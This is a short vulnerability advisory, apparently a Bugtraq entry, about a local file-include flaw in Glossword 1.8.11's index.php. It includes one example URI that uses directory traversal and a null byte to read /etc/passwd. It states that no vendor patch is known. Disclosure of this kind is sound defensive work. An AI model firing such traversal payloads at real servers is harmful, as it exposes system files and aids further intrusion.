Glossword 'index.php Local File Include Vulnerability

Bugtraq ID:	35483
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 24 2009 12:00AM
Updated:	Jun 26 2009 08:30PM
Credit:	t0fx
Vulnerable:	Glossword Glossword 1.8.11
Not Vulnerable:

Glossword 'index.php Local File Include Vulnerability

Glossword is prone to a local file-include vulnerability.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process, which may aid in further attacks.

Glossword 1.8.11 is vulnerable; other versions may also be affected.

Glossword 'index.php Local File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/glossword_path/index.php?t=../../../../../../../../../../../../../etc/passwd%00

Glossword 'index.php Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Glossword 'index.php Local File Include Vulnerability

References:

• Glossword Sourceforge Page (Glossword)